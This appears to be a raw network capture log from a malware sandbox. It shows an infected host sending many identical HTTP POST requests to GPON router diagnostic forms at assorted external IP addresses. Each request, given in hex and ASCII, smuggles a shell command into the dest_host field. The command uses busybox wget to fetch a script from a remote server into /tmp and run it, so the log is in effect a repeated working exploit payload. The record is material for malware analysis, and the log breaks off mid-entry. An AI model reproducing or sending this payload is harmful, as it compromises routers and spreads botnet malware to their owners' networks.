Mar 21, 2024 05:23:33.820554018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1813	192.168.2.13	50868	109.221.157.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820586920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1814	192.168.2.13	37688	212.76.228.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820590019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1815	192.168.2.13	36830	212.170.165.227	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820622921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1816	192.168.2.13	34606	118.169.45.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820641041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1817	192.168.2.13	52906	118.120.158.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820691109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1818	192.168.2.13	49278	118.215.101.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820707083 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1819	192.168.2.13	48976	109.80.11.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820730925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1820	192.168.2.13	34972	42.181.194.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820754051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1821	192.168.2.13	57714	42.59.10.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820765018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1822	192.168.2.13	40752	42.210.96.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820816040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1823	192.168.2.13	33172	118.233.214.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820842028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1824	192.168.2.13	52712	5.83.76.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820877075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1825	192.168.2.13	35374	109.109.130.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820894957 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1826	192.168.2.13	39892	42.177.130.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820905924 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1827	192.168.2.13	60578	5.122.84.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820921898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1828	192.168.2.13	60860	118.6.165.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820957899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1829	192.168.2.13	38682	42.37.207.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821012974 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1830	192.168.2.13	47510	42.202.103.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821058989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1831	192.168.2.13	57700	212.32.12.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821060896 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1832	192.168.2.13	54166	118.87.202.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821083069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1833	192.168.2.13	49744	42.147.229.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821110010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1834	192.168.2.13	49672	5.82.168.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821152925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1835	192.168.2.13	45162	42.55.108.225	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821192026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1836	192.168.2.13	35922	118.162.18.241	443

Timestamp	Bytes transferred	Direction	Data
